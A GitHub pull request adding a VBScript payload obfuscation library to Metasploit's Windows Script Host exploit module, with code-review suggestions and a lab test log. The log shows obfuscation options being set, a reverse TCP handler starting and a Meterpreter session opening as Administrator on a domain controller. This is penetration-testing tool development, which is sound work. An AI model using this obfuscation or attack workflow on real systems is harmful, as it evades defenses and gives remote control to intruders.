Msf::Exploit::VBSObfuscate: Add VBS obfuscation library#20568
Merged
jheysel-r7 merged 2 commits intorapid7:masterfrom Oct 3, 2025
Merged
Msf::Exploit::VBSObfuscate: Add VBS obfuscation library#20568jheysel-r7 merged 2 commits intorapid7:masterfrom
jheysel-r7 merged 2 commits intorapid7:masterfrom
Conversation
adfoster-r7
reviewed
Sep 25, 2025
lib/msf/core/exploit/vbsobfuscate.rb
Outdated
| super | ||
| register_advanced_options([ | ||
| OptInt.new('VbsObfuscate', [false, 'Number of times to obfuscate VBS', 1]), | ||
| ], Exploit::VBSObfuscate) |
Contributor
There was a problem hiding this comment.
Not a blocker; I don't think this is required anymore 🤔
Suggested change
| ], Exploit::VBSObfuscate) | |
| ]) |
adfoster-r7
reviewed
Sep 25, 2025
lib/msf/core/exploit/vbsobfuscate.rb
Outdated
Comment on lines
30
to
33
| obfuscate_opts = {} | ||
| obfuscate_opts.merge!(iterations: iterations) | ||
| obfuscate_opts.merge!(normalize_whitespace: normalize_whitespace) | ||
| obfuscate_opts.merge!(dynamic_execution: dynamic_execution) |
Contributor
There was a problem hiding this comment.
Not a blocker:
Suggested change
| obfuscate_opts = {} | |
| obfuscate_opts.merge!(iterations: iterations) | |
| obfuscate_opts.merge!(normalize_whitespace: normalize_whitespace) | |
| obfuscate_opts.merge!(dynamic_execution: dynamic_execution) | |
| obfuscate_opts = { | |
| iterations: iterations, | |
| normalize_whitespace: normalize_whitespace, | |
| dynamic_execution: dynamic_execution | |
| } |
adfoster-r7
reviewed
Sep 25, 2025
| vbs_payload = "CreateObject(\"#{shell_obj}\").Run(\"#{cmd}\")" | ||
| if obfuscate | ||
| vbs << obfuscate_vbscript(vbs_payload) | ||
| vbs << Rex::Exploitation::VBSObfuscate.new(vbs_payload).obfuscate!.to_s |
Contributor
There was a problem hiding this comment.
Was this meant to use the mixin? 🤔
Suggested change
| vbs << Rex::Exploitation::VBSObfuscate.new(vbs_payload).obfuscate!.to_s | |
| vbs << vbs_obfuscate(vbs_payload) |
1339261 to
6351be3
Compare
6351be3 to
bbc9928
Compare
Contributor
Author
|
Pushed again to update the default behavior in line with the library default behavior (normalize white space and use dynamic execution by default). |
jheysel-r7
approved these changes
Oct 3, 2025
Contributor
jheysel-r7
left a comment
There was a problem hiding this comment.
Thanks @bcoles 🙏
Testing
msf exploit(windows/fileformat/windows_script_host_vbscript) > set OBFUSCATE true
OBFUSCATE => true
msf exploit(windows/fileformat/windows_script_host_vbscript) > set VbsObfuscate 2
VbsObfuscate => 2
msf exploit(windows/fileformat/windows_script_host_vbscript) > set FETCH_WRITABLE_DIR C:\\Windows\\Temp
FETCH_WRITABLE_DIR => C:\Windows\Temp
msf exploit(windows/fileformat/windows_script_host_vbscript) > set DisablePayloadHandler false
DisablePayloadHandler => false
msf exploit(windows/fileformat/windows_script_host_vbscript) > set WfsDelay 1000
WfsDelay => 1000
msf exploit(windows/fileformat/windows_script_host_vbscript) > run
[*] Started reverse TCP handler on 172.16.199.130:4444
[+] msf.vbs stored at /home/msfuser/.msf4/local/msf.vbs
[*] Sending stage (203846 bytes) to 172.16.199.200
[*] Meterpreter session 1 opened (172.16.199.130:4444 -> 172.16.199.200:51285) at 2025-10-03 12:07:04 -0700
meterpreter > getuid
Server username: KERBEROS\Administrator
meterpreter > sysinfo
Computer : DC2
OS : Windows Server 2019 (10.0 Build 17763).
Architecture : x64
System Language : en_US
Domain : KERBEROS
Logged On Users : 5
Meterpreter : x64/windows
meterpreter > exit
[*] Shutting down session: 1
[*] 172.16.199.200 - Meterpreter session 1 closed. Reason: User exit
Setting VbsObfuscate to 6 output an 800MB payload 👍
➜ local ls -ltr
total 813060
-rw-rw-r-- 1 msfuser msfuser 832565507 Oct 3 12:47 msf.vbs
Contributor
Release NotesThis adds a new library for VBS payload obfuscation and updates the windows/fileformat/windows_script_host_vbscript module to make use of the new library. |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Wires up the
Msf::Exploit::VBSObfuscatemixin interface for the newRex::Exploitation::VBSObfuscatelibrary (rapid7/rex-exploitation#47) and updates theexploit/windows/fileformat/windows_script_host_vbscriptmodule to use it.